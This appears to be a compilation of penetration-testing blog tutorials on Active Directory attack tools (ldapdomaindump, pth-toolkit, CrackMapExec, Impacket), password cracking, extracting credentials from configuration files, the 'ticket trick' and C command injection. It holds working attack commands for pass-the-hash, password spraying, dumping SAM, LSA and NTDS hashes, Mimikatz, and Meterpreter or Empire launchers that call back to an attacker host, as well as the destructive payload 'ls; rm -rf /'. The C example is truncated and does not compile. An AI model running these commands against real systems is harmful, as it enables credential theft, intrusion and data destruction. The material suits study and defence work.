  • domain_users_by_group: Domain users per group they are member of
  • domain_computers_by_os: Domain computers sorted by Operating System

Dependencies and installation

Requires ldap3 > 2.0, dnspython and future. ldapdomaindump runs on both python 2 and 3.

Dependencies can be installed manually with pip install ldap3 dnspython future, but should in most cases be handled by pip when you install the main package either from git or pypi.

The ldapdomaindump package can be installed with python setup.py install from the git source, or for the latest release with pip install ldapdomaindump.

  • pip3 install ldap3 dnspython future


1. To install run

  • git clone https://github.com/dirkjanm/ldapdomaindump.git
  • cd ldapdomaindump
  • ls

2. Run help menu

  • python ldapdomaindump.py -h

How to use

1. Run the basic command to query the domain controller using an account. Use -o to specify where to store the data

  • python ldapdomaindump.py --user vk9-sec\\admin1 -p Admin.123 ldap:// -o data

2. Access the newly created folder “data” and read the files that were stored there

  • cd data
  • ls

Note: By default, it creates json, html, grep files

3. Disable JSON output, Disable Greppable output

  • python ldapdomaindump.py --user vk9-sec\\admin1 -p Admin.123 ldap:// -o data --no-json --no-grep

4. Resolve DNS

  • python ldapdomaindump.py --user vk9-sec\\admin1 -p Admin.123 ldap:// -o data --resolve

5. Open the files and start examining Users, Groups, computer, permissions and delegations


Most AD servers support NTLM authentication. In the rare case that it does not, use --authtype SIMPLE.

Output formats

By default the tool outputs all files in HTML, JSON and tab delimited output (greppable). There are also two grouped files (users_by_group and computers_by_os) for convenience. These do not have a greppable output. JSON output for grouped files is disabled by default since it creates very large files without any data that isn't present in the other files already.

DNS resolving

An important option is the -r option, which decides if a computers DNSHostName attribute should be resolved to an IPv4 address. While this can be very useful, the DNSHostName attribute is not automatically updated. When the AD Domain uses subdomains for computer hostnames, the DNSHostName will often be incorrect and will not resolve. Also keep in mind that resolving every hostname in the domain might cause a high load on the domain controller.

Minimizing network and memory usage

By default ldapdomaindump will try to dump every single attribute it can read to disk in the .json files. In large networks, this uses a lot of memory (since group relationships are currently calculated in memory before being written to disk). To dump only the minimal required attributes (the ones shown by default in the .html and .grep files), use the --minimal switch.

Visualizing groups with BloodHound

LDAPDomainDump includes a utility that can be used to convert ldapdomaindumps .json files to CSV files suitable for BloodHound. The utility is called ldd2bloodhound and is added to your path upon installation. Alternatively you can run it with python -m ldapdomaindump.convert or with python ldapdomaindump/convert.py if you are running it from the source. The conversion tool will take the users/groups/computers/trusts .json file and convert those to group_membership.csv and trust.csv which you can add to BloodHound. Note that these files are only compatible with BloodHound 1.x which is quite old. There are no plans to support the latest version as the BloodHound.py project was made for this. With the DCOnly collection method this tool will also only talk to LDAP and collect more information than ldapdomaindump would.

Visualizing dump with a pretty output like enum4linux

LDAPDomainDump includes a utility that can be used to output ldapdomaindumps .json files to an enum4linux like output. The utility is called ldd2pretty and is added to your path upon installation. Alternatively you can run it with python -m ldapdomaindump.pretty or with python ldapdomaindump/pretty.py if you are running it from the source.

[How to] Pth-ToolKit

It is a toolkit which contains a number of useful tools from which 2 of them can be used to execute arbitrary commands on remote Windows systems.


Here’s a complete list of tools that come with the Pass-The-Hash toolkit:

  • pth-net: tool for administration of Samba and remote CIFS servers
  • pth-rpcclient: tool for executing client side MS-RPC functions
  • pth-smbclient: ftp-like client to access SMB/CIFS resources on servers
  • pth-smbget: wget-like utility for download files over SMB
  • pth-sqsh: interactive database shell for MS SQL servers
  • pth-winexe: SMB client to execute interactive commands on remote computer
  • pth-wmic: WMI client to execute queries on remote computer
  • pth-wmis: WMI client to execute a command on remote computer
  • pth-curl: curl with built-in NTLM support (deprecated / curl contains this natively)

All of these utilities support plain, Kerberos or NTLM authentications, fully supporting passing-the-hash (PTH) attacks.

Supported methods
  • winexe
  • wmic
  • wmis
  • rpcclient
  • smbclient
  • smbget
  • net

Pass-The-Hash RCE table overview

The following table provides information on what type of execution is possible using each method and provides details about which network ports are being used during the communication.

Method RCE type Port(s) used
1 pth-winexe interactive shell tcp/445
2 pth-wmis command tcp/135
tcp/50911 (Winmgmt)


1. Download the source code

  • git clone https://github.com/byt3bl33d3r/pth-toolkit.git
  • cd pth-toolkit
  • ls

2. Display utilities help menu

  • ./pth-winexe

Pass-The-Hash: pth-winexe

This method is similar to the traditional PsExec method from SysInternals. It registers a Windows service called “winexesvc” on the remote system.

This allows us to execute arbitrary commands on the remote system, including an interactive commands such as cmd.exe or powershell.exe.

All communication takes place solely on port tcp/445 using the SMB protocol.

1. Here’s an example of using pth-winexe utility as local Administrator using a clear text password:

  • pth-winexe -U ".\Administrator%pass123" // cmd.exe

2. using a NTLM hash:

  • pth-winexe -U ".\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" --uninstall // cmd

Note that without providing the “--uninstall” option, the service would remain running on the remote system afterwards.

Make sure to always include it to avoid leaving things running around after your engagement, otherwise it may lead to a very unpleasant conversations with your customer.

Using SYSTEM account

By default the pth-winexe utility executes the given command (cmd.exe in our case) under the privileges of the provided user

By using the “--system” option, pth-winexe can automatically escalate to the “nt authority\system” account.

  • pth-winexe -U ".\Administrator%pass123" --uninstall --system // cmd

This can be useful for conducting further attacks on the target machine. For instance:

  • No UAC bypasses required
  • Straightforward user impersonation

Again, make sure the “--uninstall” option is included.

Pass-The-Hash: pth-wmis

This method uses Windows Management Instrumentation (WMI) interface of the remote Windows system to run an arbitrary command.

It’s the only method that doesn’t use port tcp/445 for anything. It uses only port tcp/135 and a dynamically allocated high port such as tcp/50911 where it communicates with the Winmgmt service.

1. This method also has a little caveat – it doesn’t return the output from the command. If we want to see the output, we have to redirect the output to a file on the remote system and then fetch it with pth-smbget or pth-smbclient afterwards.

  • pth-wmis -U ".\Administrator%pass123" // 'cmd.exe /c whoami > c:\users\public\out.txt'

2. Here’s example using an NTLM hash:

pth-wmis -U "vk9-sec\Administrator%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76" // 'cmd.exe /c whoami > c:\users\public\out.txt'

3. As mentioned above, to get the output from the command, we have to fetch it using pth-smbget utility. For example:

  • pth-smbget -U ".\Administrator%pass123" -q -O smb://$/users/public/out.txt




[How to] Enumerate AD users using Impacket/GetADUsers.py

This script will gather data about the domain's users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes. You can enable or disable the attributes shown in the final table by changing the values in line 184 and headers in line 190.



Password Authentication

1. Download the tool

  • wget https://raw.githubusercontent.com/fortra/impacket/master/examples/GetADUsers.py

2. Run the tool help menu

  • python3 GetADUsers.py -h

3. Get all users from the domain controller

  • python3 GetADUsers.py -all -dc-ip domain-controller-ip 'vk9-sec/vry4n:Admin.123'
  • python3 GetADUsers.py -all vk9-sec/admin1 -dc-ip

4. Post-compromise through a proxy host

  • proxychains -q GetADUsers.py -all -dc-ip domain-controller-ip 'domain.tld/username:password'

Pass the Hash

If you've dumped the SAM or LSASS on host post-compromise, you can pass the hash to dump users.

1. Get all users from the domain controller

  • GetADUsers.py -all -dc-ip domain-controller-ip -hashes lm-hash:nt-hash 'domain.tld/username'

2. Post-compromise through a proxy host

  • proxychains -q GetADUsers.py -all -dc-ip domain-controller-ip -hashes lm-hash:nt-hash 'domain.tld/username'





[How to] CrackMapExec

CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of large Active Directory networks. Built with stealth in mind, CME follows the concept of "Living off the Land": abusing built-in Active Directory features/protocols to achieve it's functionality and allowing it to evade most endpoint protection/IDS/IPS solutions.

Documentation: https://wiki.porchetta.industries/



  • apt-get install -y libssl-dev libffi-dev python-dev-is-python3 build-essential
  • git clone https://github.com/mpgn/CrackMapExec
  • cd CrackMapExec
  • poetry install

How to use

1. Run the executable

  • poetry run crackmapexec

2. Viewing Protocol options (ldap, smb, mssql, vnc, rdp, ftp, winrm, ssh)

  • poetry run crackmapexec ldap -h

3. Target format

  • crackmapexec <protocol> ms.evilcorp.org
  • crackmapexec <protocol>
  • crackmapexec <protocol>
  • crackmapexec <protocol>
  • crackmapexec <protocol> ~/targets.txt

4. Using Credentials

  • crackmapexec <protocol> <target(s)> -u username -p password
  • crackmapexec <protocol> <target(s)> -u username -p 'Admin!123@'

5. Using a credential set from the database

  • crackmapexec <protocol> <target(s)> -id <cred ID(s)>

6. Brute Forcing & Password Spraying

  • crackmapexec <protocol> <target(s)> -u username1 -p password1 password2
  • crackmapexec <protocol> <target(s)> -u username1 username2 -p password1
  • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords
  • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes

7. Password Spraying without bruteforce, Can be usefull for protocols like WinRM and MSSQL. This option avoid the bruteforce when you use files (-u file -p file)

  • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce
  • crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_pa

Using Modules

1. Viewing available modules for a Protocol

  • poetry run crackmapexec ldap -L

2. Using a module. For example, to run the SMB Mimikatz module:

  • crackmapexec smb <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz

3. Viewing module options

  • poetry run crackmapexec ldap -M laps --options

4. Using module options

  • poetry run crackmapexec <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'

BloodHound integration

CrackMapExec will set user as 'owned' on BloodHound when an account is found ! Very usefull when lsassy finds 20 credentials in one dump 🙂

First you need to configure your config file in you home folder: ~/.cme/cme.conf and add the following lines:

  • [BloodHound]
  • bh_enabled = True
  • bh_uri =
  • bh_port = 7687
  • bh_user = user
  • bh_pass = pass

Then, every time cme will find a valid credential, it will be added to bloodhound

Using the database

# The database automatically store every hosts reaches by CME and all credentials with admin access

  • $ cmedb

# Using workspaces

  • cmedb> help
  • cmedb> workspace create test
  • cmedb> workspace test

# Access a protocol database and switch back

  • cmedb (test)> proto smb
  • cmedb (test)> back

# List stored hosts

  • cmedb> hosts

# View detailed infos for a specific machine (including creds)

  • cmedb> hosts <hostname>

# Get stored credentials

  • cmedb> creds

# Get credentials access for a specific account

  • cmedb> creds <username>

# Using credentials from the database

  • crackmapexec smb -id <credsID>

SMB Crackmapexec cheatsheet

Connexions & Spraying

# Target format

  • crackmapexec smb ms.evilcorp.org
  • crackmapexec smb
  • crackmapexec smb
  • crackmapexec smb
  • crackmapexec smb targets.txt

# Null session

  • crackmapexec smb -u "" up ""

# Connect to target using local account

  • crackmapexec smb -u 'Administrator' -p 'PASSWORD' --local-auth

# Pass the hash against a subnet

  • crackmapexec smb -u administrator -H 'LMHASH:NTHASH' --local-auth
  • crackmapexec smb -u administrator -H 'NTHASH'
  • crackmapexec smb -u Administrator -H ab2761a405d4501700586917d63e58de -X 'Get-ExcecutionPolicy'

# Bruteforcing and Password Spraying

  • crackmapexec smb -u "admin" -p "password1" --no-bruteforce
  • crackmapexec smb -u "admin" -p "password1" "password2"
  • crackmapexec smb -u "admin1" "admin2" -p "P@ssword"
  • crackmapexec smb -u user_file.txt -p pass_file.txt
  • crackmapexec smb -u user_file.txt -H ntlm_hashFile.txt


# Enumerate Shares

  • crackmapexec smb -u "admin1" -p "Admin.123" --shares


# Enumerate disks

  • crackmapexec smb -u "admin1" -p "Admin.123" --disks


# Enumerate users

  • crackmapexec smb -u 'user' -p 'PASS' --users

# Perform RID Bruteforce to get users

  • crackmapexec smb -u 'user' -p 'PASS' --rid-brute

# Enumerate domain groups

  • crackmapexec smb -u 'user' -p 'PASS' --groups

# Enumerate local users

  • crackmapexec smb -u 'user' -p 'PASS' --local-users

# Enumerate logged on users

  • crackmapexec smb -u 'user' -p 'PASS' --loggedon-users


# Generate a list of relayable hosts (SMB Signing disabled)

  • crackmapexec smb --gen-relay-list output.txt

# Enumerate available shares

  • crackmapexec smb -u 'user' -p 'PASSWORD' --local-auth --shares

# Get the active sessions

  • crackmapexec smb -u 'user' -p 'PASS' --sessions

# Check logged in users

  • crackmapexec smb -u 'user' -p 'PASS' --lusers

# Get the password policy

  • crackmapexec smb -u 'user' -p 'PASS' --pass-pol

Execution & Co

# CrackMapExec has 3 different command execution methods (in default order) :

# - wmiexec --> WMI

# - atexec --> scheduled task

# - smbexec --> creating and running a service

# Execute command through cmd.exe (admin privileges required)

  • crackmapexec smb -u Administrator -p 'P@ssw0rd' -x 'whoami'
  • crackmapexec smb -u Administrator -p 'P@ssw0rd' -x 'ipconfig'

# Force the smbexec method

  • crackmapexec smb -u 'Administrator' -p 'PASS' -x 'net user Administrator /domain' --exec-method smbexec

# Execute commands through PowerShell (admin privileges required)

  • crackmapexec smb -u Administrator -p 'P@ssw0rd' -X 'Get-ExcecutionPolicy'

Getting Credentials

# Dump local SAM hashes

  • crackmapexec smb -u 'Administrator' -p 'PASS' --local-auth --sam

# Dump LSA

  • crackmapexec smb -u "admin1" -p "Admin.123" --lsa

# Enable or disable WDigest to get credentials from the LSA Memory

  • crackmapexec smb -u 'Administrator' -p 'PASS' --local-auth --wdigest enable
  • crackmapexec smb -u 'Administrator' -p 'PASS' --local-auth --wdigest disable

# Then you juste have to wait the user logoff and logon again

# But you can force the logoff

  • crackmapexec smb -u 'Administrator' -p 'PASS' -x 'quser'
  • crackmapexec smb -u 'Administrator' -p 'PASS' -x 'logoff <sessionid>'

# Dump the NTDS.dit from DC using methods from secretsdump.py

# Uses drsuapi RPC interface create a handle, trigger replication

# and combined with additional drsuapi calls to convert the resultant

# linked-lists into readable format

  • crackmapexec smb -u UserNAme -p 'PASSWORDHERE' --ntds

# Uses the Volume Shadow copy Service

  • crackmapexec smb -u UserNAme -p 'PASSWORDHERE' --ntds vss

# Dump the NTDS.dit password history

  • smb -u UserNAme -p 'PASSWORDHERE' --ntds-history


# List available modules

  • crackmapexec smb -L

# Module information

  • crackmapexec smb -M mimikatz --module-info

# View module options

  • crackmapexec smb -M mimikatz --options

# Mimikatz module

  • crackmapexec smb -u 'Administrator' -p 'PASS' --local-auth -M mimikatz
  • crackmapexec smb -u 'Administrator' -p 'PASS' -M mimikatz
  • crackmapexec smb -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'

[*] Get-ComputerDetails Enumerates sysinfo

[*] bloodhound Executes the BloodHound recon script on the target and retreives the results to the attackers\' machine

[*] empire_exec Uses Empire\'s RESTful API to generate a launcher for the specified listener and executes it

[*] enum_avproducts Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI

[*] enum_chrome Decrypts saved Chrome passwords using Get-ChromeDump

[*] enum_dns Uses WMI to dump DNS from an AD DNS Server

[*] get_keystrokes Logs keys pressed, time and the active window

[*] get_netdomaincontroller Enumerates all domain controllers

[*] get_netrdpsession Enumerates all active RDP sessions

[*] get_timedscreenshot Takes screenshots at a regular interval

[*] gpp_autologin Searches the domain controller for registry.xml to find autologon information and returns the username and password.

[*] gpp_password Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

[*] invoke_sessiongopher Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher

[*] invoke_vnc Injects a VNC client in memory

[*] met_inject Downloads the Meterpreter stager and injects it into memory

[*] mimikatz Dumps all logon credentials from memory

[*] mimikatz_enum_chrome Decrypts saved Chrome passwords using Mimikatz

[*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/Credential Manager

[*] mimikittenz Executes Mimikittenz

[*] multirdp Patches terminal services in memory to allow multiple RDP users

[*] netripper Capture`\'s credentials by using API hooking

[*] pe_inject Downloads the specified DLL/EXE and injects it into memory

[*] rdp Enables/Disables RDP

[*] scuffy Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares

[*] shellcode_inject Downloads the specified raw shellcode and injects it into memory

[*] slinky Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions

[*] test_connection Pings a host

[*] tokens Enumerates available tokens

[*] uac Checks UAC status

[*] wdigest Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1

[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module


# First, set up a HTTP Reverse Handler

  • msf > use exploit/multi/handler
  • msf exploit(handler) > set payload windows/meterpreter/reverse_https
  • msf exploit(handler) > set LHOST
  • msf exploit(handler) > set exitonsession false
  • msf exploit(handler) > exploit -j

# Met_Inject module

  • crackmapexec smb -u 'Administrator' -p 'PASS' --local-auth -M met_inject -o LHOST=YOURIP LPORT=4444


# Start RESTful API

  • empire --rest --user empireadmin --pass gH25Iv1K68@^

# First setup an Empire HTTP listener

  • (Empire: listeners) > set Name test
  • (Empire: listeners) > set Host
  • (Empire: listeners) > set Port 9090
  • (Empire: listeners) > set CertPath data/empire.pem
  • (Empire: listeners) > run
  • (Empire: listeners) > list

# Start RESTful API

# The username and password that CME uses to authenticate to Empire's RESTful API

# Are stored in the cme.conf file located at ~/.cme/cme.conf

  • empire --rest --user empireadmin --pass gH25Iv1K68@^

# Empire Module

  • crackmapexec smb -u Administrator -p PASSWORD --local-auth -M empire_exec -o LISTENER=CMETest





[Offline] Cracking passwords with Sucrack

Sucrack is a command-line tool written in Python and provides a simple and efficient way to crack passwords. It supports both single and multi-threaded cracking, enabling users to optimize performance based on their hardware capabilities. The tool is designed to crack password hashes using techniques such as dictionary attacks, hybrid attacks, brute-force attacks, and rule-based attacks.



To install the tool follow the steps in the developer site, or use linux APT package maanger to install

  • sudo apt install sucrack


  • git clone https://github.com/hemp3l/sucrack
  • cd sucrack
  • ./configure
  • make

How to use

CLI Command Syntax:

Usage: sucrack [-char] [-w num] [-b size] [-s sec] [-u user] [-l rules] wordlist

The word list can either be an existing file or stdin. In that case, use '-' instead of a file name

h : print this message
a : use ansi escape codes for nice looking statistics
s sec : statistics display interval
c : only print statistics if a key other than `q' is pressed
r : enable rewriter
w num : number of worker threads running with
b size : size of word list buffer
u user : user account to su to
l rules : specify rewriting rules; rules can be:
    A = all characters upper case
    F = first character upper case
    L = last character upper case
    a = all characters lower case
    f = first character lower case
    l = last character lower case
    D = prepend digit
    d = append digit
    e = 1337 characters
    x = all rules

Example #1

1. Having a wordlist with possible password combinations we can run it against a user

  • sucrack -a -w 20 -s 10 -u kali -rl AFLafld wordlist.txt


Password Hash Cracking using Hashcat & John

In the field of cybersecurity, password cracking is an essential technique used to assess the strength of passwords and improve overall security. This article will explore two popular tools, Hashcat and John the Ripper, and demonstrate how to create a wordlist using Hashcat from a word and then use John the Ripper to crack a hash.

Understanding Hashcat:

Hashcat is a powerful password recovery tool that uses brute-force, rule-based, and mask-based attacks to crack password hashes. It supports a wide range of hash algorithms and is highly optimized for speed. Before we begin cracking a hash, we'll leverage Hashcat's functionality to create a wordlist.

Creating a Wordlist with Hashcat:

Step 1: Install Hashcat:

  • Visit the official Hashcat website (https://hashcat.net/hashcat/) and download the appropriate version for your system.
  • Install Hashcat by following the installation instructions provided on the website.

Step 2: Create a Wordlist:

Launch a terminal or command prompt and navigate to the directory where Hashcat is installed.

Run the following command to generate a wordlist based on a simple word:

  • ./hashcat --stdout -a 0 vry4n?d > wordlist.txt

Here, "vry4n?d" represents the simple word you want to create variations of, and "wordlist.txt" is the output file that will contain the generated wordlist.

Understanding John the Ripper:

John the Ripper (JtR) is another popular password cracking tool that works on various platforms. It combines several cracking modes, including dictionary-based, brute-force, and hybrid attacks, making it highly versatile and effective.

Cracking a Hash with John the Ripper:

Step 1: Install John the Ripper:

  • Visit the official John the Ripper GitHub repository (https://github.com/openwall/john) and follow the installation instructions for your specific operating system.

Step 2: Prepare the Hash File:

  • Create a text file named "hash.txt" and paste the hash you want to crack into it. Ensure there are no additional characters or spaces in the file.

Step 3: Launch John the Ripper:

  • Open a terminal or command prompt and navigate to the directory where John the Ripper is installed.

Step 4: Run the Hash Cracking:

Execute the following command to crack the hash using John the Ripper:

  • ./john --format=NT hash.txt --wordlist=wordlist.txt

Here, "hash.txt" is the file containing the hash, and "wordlist.txt" is the wordlist generated in the previous step using Hashcat.

Wait for John the Ripper to complete the cracking process. It will display the cracked password if successful.

How to

1. Having a hash ($2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO) that we need to crack, if we suspect of a word or list of words, in this case PleaseSubscribe!, we can use hashcat to create a random combination of characters

  • echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best64.rule --stdout > wordlist.txt
  • cat wordlist.txt

2. Having our wordlist, we can execute john against the hashfile

  • john hashfile.txt --wordlist=wordlist.txt
  • cat hashfile.txt

3. This new password can be used to access other resource, escalate privileges, lateral movement, and so.


We explored the powerful password cracking tools Hashcat and John the Ripper. We learned how to create a wordlist using Hashcat, leveraging its flexibility and functionality. Then, we used John the Ripper to crack a hash by providing the generated wordlist. By understanding these tools and their capabilities, security professionals can assess the strength of passwords and enhance overall cybersecurity.


[Credential Dumping] Extracting Credentials from Configuration Files

Configuration files play a critical role in storing sensitive credentials for various applications and services. Attackers often target these files to extract valuable information, such as usernames, passwords, API keys, and database credentials. Understanding the techniques employed by adversaries is vital in implementing effective defensive measures.

Techniques for Extracting Credentials

Attackers utilize multiple methods to extract credentials from configuration files. The following techniques are commonly observed in credential extraction attacks:

  • File Parsing: Attackers parse configuration files, leveraging knowledge of file formats and patterns to identify and extract credentials.
  • Regular Expressions: Utilizing pattern matching techniques, attackers search for credential-like strings within configuration files.
  • File Inclusion Vulnerabilities: Exploiting vulnerabilities that allow them to read or include arbitrary files, attackers gain access to configuration files containing credentials.
  • Data Leakage: Identifying misconfigurations or insecure logging practices, attackers exploit logs or error messages that inadvertently reveal credentials.

Common Configuration Files Containing Credentials

Certain configuration files frequently store credentials, making them attractive targets for attackers. Examples of commonly targeted files include:

  • Web Application Configurations: Files like web.config (ASP.NET), .env (PHP), or application.properties (Java) may contain database credentials or API keys.
  • Database Configuration Files: Configuration files like my.cnf (MySQL) or pg_hba.conf (PostgreSQL) often store database access credentials.
  • Network Service Configurations: SSH server configurations (sshd_config), mail server configurations (smtpd.conf), or VPN configurations (openvpn.conf) may contain critical credentials.
  • Binary Analysis: Attackers analyze binary files associated with applications to extract credentials embedded within them.
  • Memory Scraping: Attackers target running processes or system memory to retrieve credentials stored temporarily during application runtime.
  • Configuration File Misplacement: Attackers exploit misconfigurations that result in configuration files being inadvertently placed in publicly accessible locations.
  • Server Misconfigurations: Attackers leverage misconfigurations in web servers, FTP servers, or other services to gain unauthorized access to configuration files and extract credentials.


1. In this case we have an application installed, which is connected to a database, looking into the configuration files we found config.json, which contains a username and password. The first step is to identify the home folder for the application

  • whereis mattermost

2. Knowing this help us find files using different techniques

  • ls -lR | grep -i conf
  • find /opt/mattermost -type f -iname "*config*" -o -iname "*conf*" 2> /dev/null
  • find /opt/mattermost -type f -exec grep -liE 'username|password|user|pass' {} +

3. Searching though the output we found config.json, reading this file we can find

  • cat /opt/mattermost/config/config.json | grep -iE "user|username|pass|password"

4. Knowing, this configuration file could contain additional information, we proceed to read it

  • cat /opt/mattermost/config/config.json | less

Note: we also found something that seems SQL username and password

5. We will try access this database

  • mysql -u mmuser -p
  • Password: Crack_The_MM_Admin_PW
  • show databases;

Countermeasures: Protecting Credentials in Configuration Files

To mitigate the risk of credential extraction from configuration files, the following countermeasures should be implemented:

  • Encryption and Hashing: Encrypt or hash sensitive credentials within configuration files to make them unusable if obtained by attackers.
  • Secure File Permissions: Set appropriate file permissions to limit access to configuration files, ensuring that only authorized users can read or modify them.
  • Environment Variables: Store credentials as environment variables instead of hardcoding them in configuration files.
  • Credential Management Systems: Implement secure credential management systems that centralize and protect sensitive credentials.
  • Regular Auditing: Conduct regular audits to identify insecure configurations and ensure proper protection of credentials.
  • Secure Development Practices: Train developers on secure coding practices, emphasizing the importance of properly handling credentials in configuration files.

Monitoring and Intrusion Detection

Implementing robust monitoring and intrusion detection mechanisms can help identify unauthorized access or suspicious activities related to configuration files. Key monitoring measures include:

  • Log Monitoring: Regularly analyze logs for unusual activity, such as unexpected modifications or access to configuration files.
  • Intrusion Detection Systems (IDS): Deploy IDS solutions to detect anomalous patterns or known attack signatures targeting configuration files.
  • Endpoint Security: Employ endpoint security solutions that detect and prevent unauthorized access to configuration files.


[Exploitation] Ticket Trick: Exploiting Email Address Verification

In today's interconnected world, email addresses play a crucial role in verifying user identity. However, a vulnerability known as the "ticket trick" has emerged, potentially granting unauthorized individuals access to internal services of organizations. In this article, we will delve into the nature of the ticket trick vulnerability, explore how it can be abused, and discuss effective remedies to protect against this security issue.


The ticket trick vulnerability arises when non-employee users gain access to email addresses associated with a corporate domain, such as @Company.com. This vulnerability is particularly concerning as many cloud services rely on email addresses as "proof of employment." By leveraging this vulnerability, unauthorized individuals can manipulate email address verification mechanisms to gain access to internal services like GitHub, Slack, Confluence, and others.

How to Abuse the Vulnerability:

  • Identifying the Corporate Domain: The first step in exploiting the ticket trick vulnerability is identifying an organization that uses a corporate domain for email addresses. Common examples include @Company.com or @OrganizationName.com.
  • Gaining Access to Email Addresses: Non-employee users need to find a way to gain access to email addresses associated with the corporate domain. This might involve exploiting misconfigurations, overlooked email aliases, or weak access controls.
  • Cloud Service Account Creation: Next, the non-employee user proceeds to create an account on a cloud service that relies on email verification as proof of employment. During the account creation process, they provide an email address within the corporate domain.
  • Granting Access to Internal Services: The cloud service, considering the email address as proof of employment, grants access to internal services meant for employees. This could include code repositories, collaboration platforms, project management tools, and more.

Example #1

HelpDesks usually allow users to email to a temporary email address provided by HelpDesks to update the status of an open ticket. If though the corporate domain is used for tickets, this "feature" allows non-

employee users to have access to @Company.com email addresses. Many cloud services take email

addresses as "proof of employment" and may grant access to internal services like GitHub, Slack,

Confluence, etc. Let’s try to create a new Ticket.

1. In this case we have an app that offers a service to open a ticket with support

  • Click on “Open a New Ticket”

2. Now fill in the information to open the ticket

  • Email Address: vry4n@test.com
  • Full Name: Unknown
  • Phone Number: 8758907777
  • Help Topic: Contact us
  • Issue Summary: I need technical support

3. Once the request is submitted, this application provides us with a temporary email

  • 5774642@delivery.htb

4. In this case we can check the ticket status providing the new temporary email

  • Click on “Check Ticket Status”

5. We are displayed with an email inbox

6. Now try to access any internal site and use this temporary email to sign in

  • 5774642@delivery.htb
  • Password: AdminAdmin!23

7. After submitting the register form, we received an email to our temporary e-mail address 5774642@delivery.htb

8. Click on the activation email form, and then use the credentials to log in, we manage to log in as an internal user, as we used an internal account to authenticate

9. Looking through the channels we found an internal chat that includes some credentials

Remedy recommendations

  • Multi-Factor Authentication (MFA): Implementing MFA can significantly enhance security. Require additional verification steps beyond email address confirmation, such as SMS verification, hardware tokens, or biometric authentication.
  • Identity and Access Management (IAM): Employ a robust IAM system that ensures access controls are well-defined and continuously audited. Regularly review and revoke access for non-employees or accounts associated with inactive or compromised email addresses.
  • Custom Verification Processes: Cloud services should develop custom verification processes that go beyond relying solely on email addresses. Consider additional identity verification methods, such as employment contracts, digital certificates, or HR validation.
  • Security Awareness and Training: Educate employees and users about the risks associated with email address verification and the potential impact of the ticket trick vulnerability. Encourage them to report any suspicious activity and maintain strong cybersecurity practices.








[Debugging] ltrace Tool

ltrace is a powerful Linux debugging utility that allows you to intercept and trace library calls made by a program. It helps developers and system administrators understand how a program interacts with shared libraries, identify potential issues, and gain insights into the program's behavior. ltrace is particularly useful for understanding the dynamic behavior of applications, as it traces the library calls at runtime

ltrace is a powerful tool for tracing library calls and gaining insights into program behavior..


Before using ltrace, you need to ensure that it is installed on your system. To install ltrace on a Debian-based system, use the following command:


  • sudo apt-get install ltrace

For Red Hat-based systems, use:

  • sudo yum install ltrace

For macOS, you can install ltrace using Homebrew:

  • brew install ltrace

Basic Usage:

The basic syntax of ltrace is as follows:

  • ltrace [options] [command]

Here, [options] are the various command-line options that you can use with ltrace, and [command] is the executable or command you want to trace.

ltrace is typically used in scenarios where you want to:

  • Understand how a program interacts with shared libraries.
  • Diagnose issues related to library calls.
  • Identify potential performance bottlenecks caused by library functions.
  • Debug issues that may not be easily traceable with traditional debugging tools.
  • Now, let's explore some practical examples to illustrate the usage of ltrace.

Example 1: Tracing Library Calls of a Simple Program

Let's start with a simple C program, example.c, which uses the printf function from the standard C library:

Compile the program:

  • gcc -o example example.c

Trace the library calls using ltrace:

  • ltrace ./example

In the output, you can see the library calls made by the printf function. For example, puts is called with the string "Hello, World!".

Example 2: Tracing a Specific Library Function

In this example, we will trace only the strlen function from the C library:

1. Compile the program:

  • gcc -o example2 example2.c

2. Trace only the strlen function using ltrace:

  • ltrace -e strlen ./example2

In the output, you can see that the strlen function is called with the string "Hello, ltrace!" and the length is printed.

Example 3: Tracing Child Processes

ltrace can also trace child processes created by the main program. Let's create a simple C program, child.c, that will be executed as a child process:

Compile the child program:

  • gcc -o child child.c

Create a parent program that will execute the child program:

Compile the parent program:

  • gcc -o parent parent.c

Trace the library calls of the parent and child programs using ltrace:

  • ltrace -f ./parent

In the output, you can see the library calls made by both the parent and child processes. The calls to puts correspond to the printf statements in each program.


[C] Exploiting system() Calls in C and Command Injection

The system() function in C is used to execute shell commands from within a C program. However, if user-supplied data is directly incorporated into the command string without proper validation and sanitization, it can lead to a command injection vulnerability. This allows an attacker to execute arbitrary commands on the underlying system with the privileges of the vulnerable program.

Exploiting Command Injection:

1. To exploit command injection, an attacker typically identifies a vulnerable program that incorporates user input into the system() function call without proper validation. Here's an example:

#include <stdio.h>
#include <stdlib.h>

int main() {
    char command[100];
    printf("Enter a command: ");
    scanf("%s", command);
    return 0;

In this code snippet, the user's input is directly incorporated into the command string, which is then passed to the system() function. If the input is not properly validated, an attacker can manipulate it to execute arbitrary commands. For example, by entering ls; rm -rf /, the attacker can execute the ls command followed by the dangerous rm -rf / command.

2. Using ltrace to find the calls, we see system() being called

  • ltrace ./example1
  • ls

3. We can now try to inject a command

  • ltrace ./example1
  • ls;date

Note: we see now the date output displayed

Exploiting Command Injection while Reading a File:

